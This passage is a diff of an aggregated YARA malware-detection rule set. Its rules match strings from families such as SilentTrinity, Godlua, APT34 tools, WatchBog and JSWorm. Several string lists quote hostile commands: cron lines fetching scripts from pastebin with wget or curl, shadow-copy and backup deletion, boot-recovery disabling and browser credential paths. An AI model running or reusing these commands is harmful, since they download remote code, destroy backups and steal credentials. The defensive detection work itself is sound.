"https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/SilentTrinity_Delivery.yara#L1-L30" + license_url = "N/A" + logic_hash = "1efaa317dd250fa127b134ff8e6e6ac48d1056059256f790925d2315a6865033" + score = 75 + quality = 80 + tags = "FILE" + Description = "Attempts to detect SilentTrinity delivery documents" + Author = "Adam M. Swanda" + + strings: + $s0 = "VBE7.DLL" fullword ascii + $s1 = "TargetPivotTable" fullword ascii + $s2 = "DocumentUserPassword" fullword wide + $s3 = "DocumentOwnerPassword" fullword wide + $s4 = "Scripting.FileSystemObject" fullword wide + $s5 = "MSXML2.ServerXMLHTTP" fullword wide + $s6 = "Win32_ProcessStartup " fullword ascii + $s7 = "Step 3: Start looping through all worksheets" fullword ascii + $s8 = "Step 2: Start looping through all worksheets" fullword ascii + $s9 = "Stringer" fullword wide + $s10 = "-decode -f" fullword wide + $s11 = "2. Da biste pogledali dokument, molimo kliknite \"OMOGU" fullword wide + + condition: + uint16( 0 ) == 0xcfd0 and filesize < 200KB and ( 8 of ( $s* ) or all of them ) +} +rule DEADBITS_Godlua_Linux : LINUXMALWARE FILE +{ + meta: + description = "No description has been set in the source file - DeadBits" + author = "Adam Swanda" + id = "1a05c88a-8199-5c6d-9352-9ef60df40078" + date = "2019-07-18" + modified = "2019-07-22" + reference = "https://github.com/deadbits/yara-rules" + source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/godlua_linux.yara#L1-L57" + license_url = "N/A" + logic_hash = "70a8078f261648f050807e82009493e39fa32c0748576b3df76d8aaaa117103e" + score = 75 + quality = 26 + tags = "LINUXMALWARE, FILE" + Author = "Adam M. Swanda" + + strings: + $tmp0 = "/tmp" ascii fullword + $tmp1 = "TMPDIR" ascii + $str1 = "\"description\": \"" ascii fullword + $str2 = "searchers" ascii fullword + $str3 = "/dev/misc/watchdog" ascii fullword + $str4 = "/dev/wdt" ascii fullword + $str5 = "/dev/misc/wdt" + $str6 = "lcurl.safe" ascii fullword + $str7 = "luachild" ascii fullword + $str8 = "cjson.safe" ascii fullword + $str9 = "HostUrl" ascii fullword + $str10 = "HostConnect" ascii fullword + $str11 = "LUABOX" ascii fullword + $str12 = "Infinity" ascii fullword + $str13 = "/bin/sh" ascii fullword + $str14 = /\.onion(\.)?/ ascii fullword + $str15 = "/etc/resolv.conf" ascii fullword + $str16 = "hosts:" ascii fullword + $resolvers = /([0-9]{1,3}\.){3}[0-9]{1,3}:53,([0-9]{1,3}\.){3}[0-9]{1,3},([0-9]{1,3}\.){3}[0-9]{1,3}:5353,([0-9]{1,3}\.){3}[0-9]{1,3}:443/ ascii + $identifier0 = "$LuaVersion: God " ascii + $identifier1 = /fbi\/d\.\/d.\/d/ ascii + $identifier2 = "Copyright (C) FBI Systems, 2012-2019, https://fbi.gov" fullword ascii + $identifier3 = "God 5.1" + + condition: + uint16( 0 ) == 0x457f and ( all of them or ( any of ( $identifier* ) and $resolvers and any of ( $tmp* ) and 4 of ( $str* ) ) or ( any of ( $identifier* ) and any of ( $tmp* ) and 4 of ( $str* ) ) ) +} +rule DEADBITS_APT34_LONGWATCH : APT34 WINMALWARE KEYLOGGER FILE +{ + meta: + description = "No description has been set in the source file - DeadBits" + author = "Adam Swanda" + id = "74a6a408-2f0e-567d-8968-c304d258df81" + date = "2019-07-22" + modified = "2019-07-22" + reference = "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html" + source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/APT34_LONGWATCH.yara#L1-L43" + license_url = "N/A" + logic_hash = "8f9ed228325800baea3a2874c71337709c04d93419d4d56821a791dbce6f4582" + score = 75 + quality = 78 + tags = "APT34, WINMALWARE, KEYLOGGER, FILE" + Description = "APT34 Keylogger" + + strings: + $log = "c:\\windows\\temp\\log.txt" ascii fullword + $clipboard = "---------------CLIPBOARD------------" ascii fullword + $func0 = "\"Main Invoked.\"" ascii fullword + $func1 = "\"Main Returned.\"" ascii fullword + $logger3 = ">---------------------------------------------------" ascii fullword + $logger4 = "[ENTER]" ascii fullword + $logger5 = "[CapsLock]" ascii fullword + $logger6 = "[CRTL]" ascii fullword + $logger7 = "[PAGE_UP]" ascii fullword + $logger8 = "[PAGE_DOWN]" ascii fullword + $logger9 = "[HOME]" ascii fullword + $logger10 = "[LEFT]" ascii fullword + $logger11 = "[RIGHT]" ascii fullword + $logger12 = "[DOWN]" ascii fullword + $logger13 = "[PRINT]" ascii fullword + $logger14 = "[PRINT SCREEN]" ascii fullword + $logger15 = "[INSERT]" ascii fullword + $logger16 = "[SLEEP]" ascii fullword + $logger17 = "[PAUSE]" ascii fullword + $logger18 = "[TAB]" ascii fullword + $logger19 = "[ESC]" ascii fullword + $logger20 = "[DEL]" ascii fullword + $logger21 = "[ALT]" ascii fullword + + condition: + uint16( 0 ) == 0x5a4d and $log and all of ( $func* ) and all of ( $logger* ) and $clipboard } rule DEADBITS_TA505_Flowerpippi : TA505 FINANCIAL BACKDOOR WINMALWARE FILE { @@ -69463,123 +69600,6 @@ rule DEADBITS_TA505_Flowerpippi : TA505 FINANCIAL BACKDOOR WINMALWARE FILE condition: uint16( 0 ) == 0x5a4d and filesize < 700KB and ( ( 10 of ( $str* ) and $pipi ) or ( 10 of ( $str* ) and $pdb0 ) or ( 10 of ( $str* ) and 5 of ( $api* ) ) or ( all of them ) ) } -rule DEADBITS_Dnspionage : APT DNSCHANGER FILE -{ - meta: - description = "No description has been set in the source file - DeadBits" - author = "Adam Swanda" - id = "9f740645-60dc-5376-94ad-59d8efbf1942" - date = "2019-07-18" - modified = "2019-07-19" - reference = "https://github.com/deadbits/yara-rules" - source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/DNSpionage.yara#L1-L47" - license_url = "N/A" - logic_hash = "f20c71d0698d98cc58fa199c708ec7bf5cb0ec62503a20b532e752dab9aab920" - score = 75 - quality = 78 - tags = "APT, DNSCHANGER, FILE" - Description = "Attempts to detect DNSpionage PE samples" - Author = "Adam M. Swanda" - - strings: - $x00 = "/Loginnn?id=" fullword ascii - $hdr0 = "Content-Disposition: fo" fullword ascii - $hdr1 = "Content-Type: multi" fullword ascii - $ua0 = "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36" fullword ascii - $ua1 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246" fullword ascii - $str0 = "send command result error! status code is: " fullword ascii - $str1 = "uploading command result form" fullword ascii - $str2 = "log.txt" fullword ascii - $str3 = "http host not found in config!" fullword ascii - $str4 = "send command result" fullword ascii - $str5 = "download error. status code: " fullword ascii - $str6 = "get command with dns" fullword ascii - $str7 = "dns host not found in config!" fullword ascii - $str8 = "command result is: " fullword ascii - $str9 = "command result size: " fullword ascii - $str10 = "connection type not found in config!" fullword ascii - $str11 = "commands: " fullword ascii - $str12 = "command is: " fullword ascii - $str13 = "port not found in config!" fullword ascii - $str14 = "download filename not found! " fullword ascii - $str15 = "base64 key not found in config!" fullword ascii - $str16 = "download filename is: " fullword ascii - $str17 = "config json is not valid" fullword ascii - $str18 = "config file will be changed from server!" fullword ascii - - condition: - uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( ( 5 of ( $str* ) ) or ( $x00 and ( 1 of ( $hdr* ) ) and 1 of ( $ua* ) ) ) -} -rule DEADBITS_Dacls_Trojan_Linux -{ - meta: - description = "No description has been set in the source file - DeadBits" - author = "Adam Swanda" - id = "bb83ba2b-70a3-5a0f-9588-d93b7f07f67f" - date = "2020-01-07" - modified = "2020-01-07" - reference = "https://github.com/deadbits/yara-rules" - source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/Dacls_Linux.yara#L1-L32" - license_url = "N/A" - logic_hash = "752d7daf9178e4fa20f2ce781c6ff70f83758f01479696f0808e1588da9a3d78" - score = 75 - quality = 80 - tags = "" - Author = "Adam M. Swanda" - - strings: - $cls00 = "c_2910.cls" ascii fullword - $cls01 = "k_3872.cls" ascii fullword - $str00 = "{\"result\":\"ok\"}" ascii fullword - $str01 = "SCAN %s %d.%d.%d.%d %d" ascii fullword - $str02 = "/var/run/init.pid" ascii fullword - $str03 = "/flash/bin/mountd" ascii fullword - $str04 = "Name:" ascii fullword - $str05 = "Uid:" ascii fullword - $str06 = "Gid:" ascii fullword - $str08 = "PPid:" ascii fullword - $str09 = "session_id" ascii fullword - - condition: - uint32be( 0x0 ) == 0x7f454c46 and ( ( all of ( $cls* ) ) or ( all of ( $str* ) ) ) -} -rule DEADBITS_KPOT_V2 : WINMALWARE INFOSTEALER FILE -{ - meta: - description = "No description has been set in the source file - DeadBits" - author = "Adam Swanda" - id = "19e8d261-c658-5d0d-a95c-43fcaf2942e2" - date = "2019-08-05" - modified = "2019-08-05" - reference = "https://github.com/deadbits/yara-rules" - source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/KPOT_v2.yara#L1-L33" - license_url = "N/A" - logic_hash = "dc8cce2ae3a427f771b19b4d0e027b653ff03a7bf816303460398987535c5351" - score = 75 - quality = 55 - tags = "WINMALWARE, INFOSTEALER, FILE" - Description = "Attempts to detect KPOT version 2 payloads" - Author = "Adam M. Swanda" - - strings: - $str01 = "%s: " ascii fullword - $str02 = " _%s_" ascii fullword - $str03 = "0|%S|%s|%s|%s" ascii fullword - $str04 = "%s | %02d/%04d | %s | %s | %s" ascii fullword - $str05 = "%s | %s | %s | %s | %s | %s | %s | %d | %s" ascii fullword - $str06 = "%s: %s | %02d/%04d | %s" ascii fullword - $str07 = "%s = %s" ascii fullword - $str08 = "password-check" ascii fullword - $conf_re1 = /(SMTP|POP3|IMAP)\sServer/ wide - $conf_re2 = /(SMTP|POP3|IMAP)\s(User|Password|Port)/ wide - $conf01 = "*.config" ascii wide fullword - $conf02 = "HTTP Server URL" ascii wide fullword - $conf03 = "%s: %d" ascii wide fullword - $conf04 = "%s\\Outlook.txt" ascii wide fullword - - condition: - uint16( 0 ) == 0x5a4d and all of ( $str* ) and all of ( $conf_re* ) and all of ( $conf0* ) -} rule DEADBITS_APT34_VALUEVAULT : APT34 INFOSTEALER WINMALWARE FILE { meta: @@ -69617,148 +69637,113 @@ rule DEADBITS_APT34_VALUEVAULT : APT34 INFOSTEALER WINMALWARE FILE $str11 = "main.getHistory" ascii fullword $str12 = "main.getHistoryWithPowerShell" ascii fullword $str13 = "main.getHistoryFromRegistery" ascii fullword - $str14 = "main.main" ascii fullword - $str15 = "main.DecryptAESFromBase64" ascii fullword - $str16 = "main.DecryptAES" ascii fullword - $str17 = "main.CrackMozila" ascii fullword - $str18 = "main.decodeLoginData" ascii fullword - $str19 = "main.decrypt" ascii fullword - $str20 = "main.removePadding" ascii fullword - $str21 = "main.getLoginData" ascii fullword - $str22 = "main.isMasterPasswordCorrect" ascii fullword - $str23 = "main.decrypt3DES" ascii fullword - $str24 = "main.getKey" ascii fullword - $str25 = "main.manageMasterPassword" ascii fullword - $str26 = "main.getFirefoxProfiles" ascii fullword - $str27 = "main._Cfunc_DumpVault" ascii fullword - $str28 = "main.CrackIEandEdgeNew" ascii fullword - $str29 = "main.init.ializers" ascii fullword - $str30 = "main.init" ascii fullword - - condition: - uint16( 0 ) == 0x5a4d and ( ( 10 of ( $str* ) and 3 of ( $gopath* ) ) or ( $fsociety and $powershell and $gobuild ) or ( $fsociety and 10 of ( $str* ) ) ) -} -rule DEADBITS_Avemaria_Warzone : AVEMARIA WARZONE WINMALWARE INFOSTEALER FILE -{ - meta: - description = "No description has been set in the source file - DeadBits" - author = "Adam Swanda" - id = "1e03927b-d59c-5e1f-bdee-e44dfb172fad" - date = "2019-07-18" - modified = "2019-08-08" - reference = "https://github.com/deadbits/yara-rules" - source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/avemaria_warzone.yara#L1-L32" - license_url = "N/A" - logic_hash = "1fe55fc8ea80616b11757193c2c74b9cf577ab661ddca4c6c64cfad63a300614" - score = 75 - quality = 80 - tags = "AVEMARIA, WARZONE, WINMALWARE, INFOSTEALER, FILE" - Author = "Adam M. Swanda" - - strings: - $str1 = "cmd.exe /C ping 1.2.3.4 -n 2 -w 1000 > Nul & Del /f /q " ascii fullword - $str2 = "MsgBox.exe" wide fullword - $str4 = "\\System32\\cmd.exe" wide fullword - $str6 = "Ave_Maria" wide - $str7 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList" ascii fullword - $str8 = "SMTP Password" wide fullword - $str11 = "\\Google\\Chrome\\User Data\\Default\\Login Data" wide fullword - $str12 = "\\sqlmap.dll" wide fullword - $str14 = "SELECT * FROM logins" ascii fullword - $str16 = "Elevation:Administrator!new" wide - $str17 = "/n:%temp%" ascii wide + $str14 = "main.main" ascii fullword + $str15 = "main.DecryptAESFromBase64" ascii fullword + $str16 = "main.DecryptAES" ascii fullword + $str17 = "main.CrackMozila" ascii fullword + $str18 = "main.decodeLoginData" ascii fullword + $str19 = "main.decrypt" ascii fullword + $str20 = "main.removePadding" ascii fullword + $str21 = "main.getLoginData" ascii fullword + $str22 = "main.isMasterPasswordCorrect" ascii fullword + $str23 = "main.decrypt3DES" ascii fullword + $str24 = "main.getKey" ascii fullword + $str25 = "main.manageMasterPassword" ascii fullword + $str26 = "main.getFirefoxProfiles" ascii fullword + $str27 = "main._Cfunc_DumpVault" ascii fullword + $str28 = "main.CrackIEandEdgeNew" ascii fullword + $str29 = "main.init.ializers" ascii fullword + $str30 = "main.init" ascii fullword condition: - ( uint16( 0 ) == 0x5a4d and filesize < 400KB ) and ( 5 of ( $str* ) or all of them ) + uint16( 0 ) == 0x5a4d and ( ( 10 of ( $str* ) and 3 of ( $gopath* ) ) or ( $fsociety and $powershell and $gobuild ) or ( $fsociety and 10 of ( $str* ) ) ) } -rule DEADBITS_Dacls_Trojan_Windows : FILE +rule DEADBITS_Watchdog_Botnet : BOTNET LINUXMALWARE EXPLOITATION CVE_2019_11581 CVE_2019_10149 { meta: description = "No description has been set in the source file - DeadBits" author = "Adam Swanda" - id = "424b2c0d-2373-5a72-9a97-52b4bfc5cdcf" - date = "2020-01-07" - modified = "2020-01-07" - reference = "https://github.com/deadbits/yara-rules" - source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/Dacls_Windows.yara#L1-L30" + id = "ae95f934-2a9b-5c65-a11f-ea946d7f1bc6" + date = "2019-07-22" + modified = "2019-07-22" + reference = "https://twitter.com/polarply/status/1153232987762376704" + source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/WatchBog_Linux.yara#L1-L100" license_url = "N/A" - logic_hash = "b77df7e3be9c264d6a63d40dbf49c41e9dd55b4e570c063b5710b849c36cc166" + logic_hash = "aea8afdf118b79f701941ddd4306ee0f1c947ea59de5485ff977beff95e06d35" score = 75 - quality = 80 - tags = "FILE" + quality = 53 + tags = "BOTNET, LINUXMALWARE, EXPLOITATION, CVE_2019_11581, CVE_2019_10149" Author = "Adam M. Swanda" strings: - $fext00 = ".exe" ascii wide - $fext01 = ".cmd" ascii wide - $fext02 = ".bat" ascii wide - $fext03 = ".com" ascii wide - $str00 = "Software\\mthjk" ascii wide - $str01 = "WindowsNT.dll" ascii fullword - $str02 = "GET %s HTTP/1.1" ascii fullword - $str03 = "content-length:" ascii fullword - $str04 = "Connection: keep-alive" ascii fullword - $cls00 = "c_2910.cls" ascii fullword - $cls01 = "k_3872.cls" ascii fullword + $py0 = "libpython" ascii + $str0 = "*/3 * * * * root wget -q -O- https://pastebin.com/raw/" ascii + $str1 = "*/1 * * * * root curl -fsSL https://pastebin.com/raw/" ascii + $str6 = "onion.to" + $str7 = /https?:\/\/pastebin.com\/raw/ nocase + $str8 = "http://icanhazip.com/" + $str9 = "http://ident.me/" + $scan0 = "Scan_run" + $scan1 = "scan_nexus" + $scan2 = "scan_couchdb" + $scan3 = "scan_jenkins" + $scan4 = "scan_laravel" + $scan5 = "scan_redis" + $exploit01 = "CVE_2015_4335" + $exploit02 = "CVE_2018_1000861" + $exploit03 = "CVE_2018_8007" + $exploit04 = "CVE_2019_1014" + $exploit05 = "CVE_2019_11581" + $exploit06 = "CVE_2019_7238" + $pwn0 = "pwn_couchdb" + $pwn1 = "pwn_jenkins" + $pwn2 = "pwn_jira" + $pwn3 = "pwn_nexus" + $pwn4 = "pwn_redis" + $pwn5 = "pwn_exim" + $payload = /payload(s)/ nocase + $jira_token = "atlassian.xsrf.token=%s" ascii fullword + $jira_cmd = "set ($cmd=\"%s\")" ascii fullword + $jira_id = "JSESSIONID=%s" ascii fullword condition: - ( uint16( 0 ) == 0x5a4d ) and ( ( all of ( $cls* ) ) or ( all of ( $fext* ) and all of ( $str* ) ) ) + uint32be( 0x0 ) == 0x7f454c46 and $py0 and ( ( all of ( $pwn* ) and all of ( $scan* ) ) or ( $payload and all of ( $jira* ) and 5 of ( $str* ) ) or ( all of ( $str* ) and all of ( $exploit* ) ) ) } -rule DEADBITS_Silenttrinity : FILE +rule DEADBITS_Jsworm : MALWARE FILE { meta: description = "No description has been set in the source file - DeadBits" author = "Adam Swanda" - id = "40f9174c-e9a5-5453-b5fa-6c01c46daffa" - date = "2019-07-19" - modified = "2019-07-19" - reference = "https://countercept.com/blog/hunting-for-silenttrinity/" - source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/SilentTrinity_Payload.yara#L1-L55" + id = "6d452d04-b475-5241-890c-68119a7a8691" + date = "2019-09-06" + modified = "2019-09-06" + reference = "https://github.com/deadbits/yara-rules/" + source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/JSWorm.yara#L1-L38" license_url = "N/A" - logic_hash = "7fd1775aadfccfdf141c0721f557e6c54b058ac17a59a8e4561dd62ab4a1eff3" + logic_hash = "99074e25ec15c5b25fa41bef19203f5ddc227acd51fadca1e2c3ece538b3da01" score = 75 quality = 78 - tags = "FILE" - Description = "Attempts to detect the SilentTrinity malware family" - Author = "Adam M. Swanda" + tags = "MALWARE, FILE" strings: - $pdb01 = "SILENTTRINITY.pdb" ascii - $str01 = "Found {0} in zip" ascii fullword - $str02 = "{0} not in zip file" ascii fullword - $str03 = "Invalid HMAC: {0}" ascii fullword - $str04 = "Attempting HTTP GET to {0}" ascii fullword - $str05 = "Downloaded {0} bytes" ascii fullword - $str06 = "Error downloading {0}: {1}" ascii fullword - $str07 = "Attempting HTTP POST to {0}" ascii fullword - $str08 = "POST" ascii fullword - $str09 = "application/octet-stream" ascii fullword - $str10 = "Error sending job results to {0}: {1}" ascii fullword - $str11 = ".dll" ascii fullword - $str12 = "Trying to resolve assemblies by staging zip" ascii fullword - $str13 = "'{0}' loaded" ascii fullword - $str14 = "Usage: SILENTTRINITY.exe []" ascii fullword - $str15 = "IronPython.dll" ascii fullword - $str16 = "IronPythonDLL" ascii fullword - $str17 = "DEBUG" ascii fullword - $str18 = "Main.py" ascii fullword - $str19 = "Execute" ascii fullword - $str20 = "SILENTTRINITY.Properties.Resources" ascii fullword - $str21 = ".zip" ascii fullword - $a00 = "HttpGet" ascii fullword - $a01 = "System.Net" ascii fullword - $a02 = "Target" ascii fullword - $a03 = "WebClient" ascii fullword - $a04 = "get_Current" ascii fullword - $a05 = "Endpoint" ascii fullword - $a06 = "AesDecrypt" ascii fullword - $a07 = "AesEncrypt" ascii fullword - $a08 = "cert" ascii fullword - $a09 = "WebRequest" ascii fullword - $a10 = "HttpPost" ascii fullword + $name00 = "JSWORM" nocase + $str00 = "DECRYPT.txt" nocase + $str02 = "cmd.exe" + $str03 = "/c reg add HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"zapiska\" /d \"C:\\ProgramData\\" + $str04 = /\/c taskkill.exe taskkill \/f \/im (store|sqlserver|dns|sqlwriter)\.exe/ + $str05 = "/c start C:\\ProgramData\\" + $str06 = "/c vssadmin.exe delete shadows /all /quiet" + $str07 = "/c bcdedit /set {default} bootstatuspolicy ignoreallfailures -y" + $str08 = "/c bcdedit /set {default} recoveryenabled No -y" + $str09 = "/c wbadmin delete catalog -quiet" + $str10 = "/c wmic shadowcopy delete -y" + $uniq00 = "fuckav" + $uniq01 = "DECRYPT.hta" nocase + $uniq02 = "Backup e-mail for contact :" + $uniq03 = " ( #fdso * 4 ) -} -rule DELIVRTO_SUSP_ZPAQ_Archive_Nov23 : FILE -{ - meta: - description = "ZPAQ file archive with expected file and block headers" - author = "delivr.to" - id = "28b6ffbe-be95-5ac8-ad3e-f9713a204d98" - date = "2023-11-26" - modified = "2023-11-27" - reference = "https://www.gdatasoftware.com/blog/2023/11/37822-agent-tesla-zpaq" - source_url = "https://github.com/delivr-to/detections/blob/f85e1d0c477cbf4689d1cfe4a80049c465673b23/yara-rules/zpaq_archives.yar#L1-L14" - license_url = "N/A" - logic_hash = "348144ee7137def00b37e074507e8148e51d34c484802a56bcd6e090d4628f18" - score = 40 - quality = 55 - tags = "FILE" - - strings: - $fh = { 37 6B 53 74 A0 31 83 D3 8C B2 28 B0 D3 } - $block_header = /jDC\d{14}[cdhi]\d{10}/ + $wse = { 23 40 7E 5E } condition: - $fh at 0 and $block_header + filesize < 5MB and ( $one at 0 ) and $fdso and $wse } rule DELIVRTO_SUSP_NESTED_7ZIP_Feb25 : FILE { @@ -70238,53 +70162,52 @@ rule DELIVRTO_SUSP_NESTED_7ZIP_Feb25 : FILE condition: $magic at 0 and #magic == 2 } -rule DELIVRTO_SUSP_SVG_Foreignobject_Nov24 +rule DELIVRTO_SUSP_ZPAQ_Archive_Nov23 : FILE { meta: - description = "Presence of foreignObject in SVG file" + description = "ZPAQ file archive with expected file and block headers" author = "delivr.to" - id = "148ef54a-4389-58c9-be89-c1714ef08371" - date = "2024-11-28" - modified = "2024-11-28" - reference = "https://github.com/delivr-to/detections" - source_url = "https://github.com/delivr-to/detections/blob/f85e1d0c477cbf4689d1cfe4a80049c465673b23/yara-rules/svg_foreignobject.yar#L1-L12" + id = "28b6ffbe-be95-5ac8-ad3e-f9713a204d98" + date = "2023-11-26" + modified = "2023-11-27" + reference = "https://www.gdatasoftware.com/blog/2023/11/37822-agent-tesla-zpaq" + source_url = "https://github.com/delivr-to/detections/blob/f85e1d0c477cbf4689d1cfe4a80049c465673b23/yara-rules/zpaq_archives.yar#L1-L14" license_url = "N/A" - logic_hash = "51fdc105e826344b9e516a35178c37b6e4620781ee3a9ae64b9be181a13292e7" + logic_hash = "348144ee7137def00b37e074507e8148e51d34c484802a56bcd6e090d4628f18" score = 40 - quality = 51 - tags = "" + quality = 80 + tags = "FILE" strings: - $svg = "svg" ascii wide nocase - $fo = " 1 or #t2 > 1 ) } +rule DELIVRTO_SUSP_SVG_Foreignobject_Nov24 +{ + meta: + description = "Presence of foreignObject in SVG file" + author = "delivr.to" + id = "148ef54a-4389-58c9-be89-c1714ef08371" + date = "2024-11-28" + modified = "2024-11-28" + reference = "https://github.com/delivr-to/detections" + source_url = "https://github.com/delivr-to/detections/blob/f85e1d0c477cbf4689d1cfe4a80049c465673b23/yara-rules/svg_foreignobject.yar#L1-L12" + license_url = "N/A" + logic_hash = "51fdc105e826344b9e516a35178c37b6e4620781ee3a9ae64b9be181a13292e7" + score = 40 + quality = 51 + tags = "" + + strings: + $svg = "svg" ascii wide nocase + $fo = " 0 and #lfh <= 10 and #eocd == 1 and uint16( @lfh [ #lfh ] + 26 ) <= 256 and uint16( @lfh [ #lfh ] + 28 ) <= 256 and uint32( @lfh [ #lfh ] + 18 ) > 0 and uint32( @lfh [ #lfh ] + 18 ) < 100000000 and uint32( @eocd [ 1 ] + 16 ) > @lfh [ #lfh ] and ( uint32( @eocd [ 1 ] + 16 ) - ( @lfh [ #lfh ] + 30 + uint16( @lfh [ #lfh ] + 26 ) + uint16( @lfh [ #lfh ] + 28 ) + uint32( @lfh [ #lfh ] + 18 ) ) ) > 64 } -rule DELIVRTO_SUSP_Onenote_Win_Script_Encoding_Feb23 : FILE -{ - meta: - description = "Presence of Windows Script Encoding Header in a OneNote file with embedded files" - author = "delivr.to" - id = "95cd5ce0-07b3-5503-ad6f-944206bd4fb6" - date = "2023-02-19" - modified = "2023-02-19" - reference = "https://github.com/delivr-to/detections" - source_url = "https://github.com/delivr-to/detections/blob/f85e1d0c477cbf4689d1cfe4a80049c465673b23/yara-rules/onenote_windows_script_encoding_file.yar#L1-L22" - license_url = "N/A" - logic_hash = "b7068f551b3665358f461a076c2d46c82db558d7fa4acb7d3c9c5c2afce31253" - score = 60 - quality = 78 - tags = "FILE" - - strings: - $one = { E4 52 5C 7B 8C D8 A7 4D AE B1 53 78 D0 29 96 D3 } - $fdso = { 00 e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac } - $wse = { 23 40 7E 5E } - - condition: - filesize < 5MB and ( $one at 0 ) and $fdso and $wse -} rule DELIVRTO_SUSP_Msg_CVE_2023_23397_Mar23 : CVE_2023_23397 FILE { meta: @@ -70450,11 +70348,60 @@ rule DELIVRTO_SUSP_Msg_CVE_2023_23397_Mar23 : CVE_2023_23397 FILE condition: uint32be( 0 ) == 0xD0CF11E0 and uint32be( 4 ) == 0xA1B11AE1 and $app and $rfp } +rule DELIVRTO_SUSP_Onenote_Repeated_Filedatareference_Feb23 : FILE +{ + meta: + description = "Repeated references to files embedded in OneNote file. May indicate multiple copies of file hidden under image, as leveraged by Qakbot et al." + author = "delivr.to" + id = "2a46d6cc-2800-5645-889c-7ad7d7aa69bd" + date = "2023-02-17" + modified = "2023-02-17" + reference = "https://github.com/delivr-to/detections" + source_url = "https://github.com/delivr-to/detections/blob/f85e1d0c477cbf4689d1cfe4a80049c465673b23/yara-rules/onenote_repeated_files.yar#L1-L23" + license_url = "N/A" + logic_hash = "ef74a128de4d3745af856957931eaae0c0ae5a5583eab1a7c58d6dd666e7fd15" + score = 60 + quality = 80 + tags = "FILE" + + strings: + $one = { E4 52 5C 7B 8C D8 A7 4D AE B1 53 78 D0 29 96 D3 } + $fdso = { 00 e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac } + $fref = { 3C 00 69 00 66 00 6E 00 64 00 66 00 3E 00 7B 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 2D 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 2D 00 ?? 00 ?? 00 ?? 00 ?? 00 2D 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? } + + condition: + filesize < 5MB and ( $one at 0 ) and $fdso and #fref > ( #fdso * 4 ) +} +rule DELIVRTO_SUSP_PDF_MHT_Activemime_Sept23 : FILE +{ + meta: + description = "Presence of MHT ActiveMime within PDF for polyglot file" + author = "delivr.to" + id = "fbac1371-bad4-5751-a5c4-ce6c270fb83e" + date = "2023-09-04" + modified = "2023-09-04" + reference = "https://blogs.jpcert.or.jp/en/2023/08/maldocinpdf.html" + source_url = "https://github.com/delivr-to/detections/blob/f85e1d0c477cbf4689d1cfe4a80049c465673b23/yara-rules/pdf_mht_activemime.yar#L1-L19" + license_url = "N/A" + logic_hash = "af1450f649de6daec242f11e3b3c35305d3127fac4ef719a4ddb4edab3ae3651" + score = 70 + quality = 78 + tags = "FILE" + + strings: + $mht0 = "mime" ascii nocase + $mht1 = "content-location:" ascii nocase + $mht2 = "content-type:" ascii nocase + $act = "edit-time-data" ascii nocase + + condition: + uint32( 0 ) == 0x46445025 and all of ( $mht* ) and $act +} /* * YARA Rule Set * Repository Name: ESET * Repository: https://github.com/eset/malware-ioc - * Retrieval Date: 2026-02-22 + * Retrieval Date: 2026-03-01 * Git Commit: 707f5b6899baf4e4911454e655a6428d9d3eeaa4 * Number of Rules: 99 * Skipped: 0 (age), 8 (quality), 1 (score), 0 (importance) @@ -70487,6 +70434,121 @@ OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ +private rule ESET_Invisimole_Blob_PRIVATE +{ + meta: + description = "Detects InvisiMole blobs by magic values" + author = "ESET Research" + id = "6a179d91-50f1-5400-b141-0f162efd2431" + date = "2021-05-17" + modified = "2021-05-17" + reference = "https://github.com/eset/malware-ioc/" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/invisimole/invisimole.yar#L34-L52" + license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" + logic_hash = "8bddaf874da58fbe6362498f8979b511f39531fe2b98d4be8c099bdafb6d0067" + score = 75 + quality = 80 + tags = "" + license = "BSD 2-Clause" + version = "1" + + strings: + $magic_old_32 = {F9 FF D0 DE} + $magic_old_64 = {64 FF D0 DE} + $magic_new_32 = {86 DA 11 CE} + $magic_new_64 = {64 DA 11 CE} + + condition: + ($magic_old_32 at 0 ) or ( $magic_old_64 at 0 ) or ( $magic_new_32 at 0 ) or ( $magic_new_64 at 0 ) +} + +private rule 